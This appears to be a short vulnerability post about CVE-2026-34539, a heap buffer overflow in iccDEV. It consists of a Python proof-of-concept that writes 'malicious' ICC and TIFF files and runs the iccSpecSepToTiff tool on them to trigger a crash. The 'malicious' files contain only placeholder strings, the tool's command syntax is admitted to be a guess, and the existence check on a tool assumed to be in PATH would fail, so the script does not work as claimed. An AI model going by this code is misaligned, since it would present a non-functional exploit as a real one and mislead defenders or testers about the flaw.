CVE-2026-34539 iccDEV堆缓冲区溢出漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-34539 (iccDEV Heap Buffer Overflow) This script demonstrates how to trigger the crash using the vulnerable tool. """ import os import subprocess # Configuration VULNERABLE_TOOL = "iccSpecSepToTiff" # Assume tool is in PATH MALICIOUS_ICC = "exploit.icc" MALICIOUS_TIF = "trigger.tif" def generate_malicious_files(): # In a real exploitation, these files contain specific binary patterns. # This is a placeholder for file generation logic. with open(MALICIOUS_ICC, 'wb') as f: f.write(b'Malicious_ICC_Profile_Header...') with open(MALICIOUS_TIF, 'wb') as f: f.write(b'Malicious_TIFF_Data...') print(f"[+] Generated {MALICIOUS_ICC} and {MALICIOUS_TIF}") def trigger_vulnerability(): if not os.path.exists(VULNERABLE_TOOL): print(f"[-] Tool {VULNERABLE_TOOL} not found.") return try: # Execute the command that triggers HBO in CTiffImg::WriteLine() # Command syntax based on typical usage: iccSpecSepToTiff input.icc output.tif # Adjust arguments based on actual tool usage if available. cmd = [VULNERABLE_TOOL, MALICIOUS_ICC, MALICIOUS_TIF] print(f"[*] Running: {' '.join(cmd)}") result = subprocess.run(cmd, capture_output=True, text=True, timeout=5) if result.returncode != 0: print(f"[+] Crashed! Return code: {result.returncode}") print(f"Error output:\n{result.stderr}") else: print("[-] Tool did not crash.") except subprocess.TimeoutExpired: print("[+] Process hung/timed out (potential DoS)") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": generate_malicious_files() trigger_vulnerability()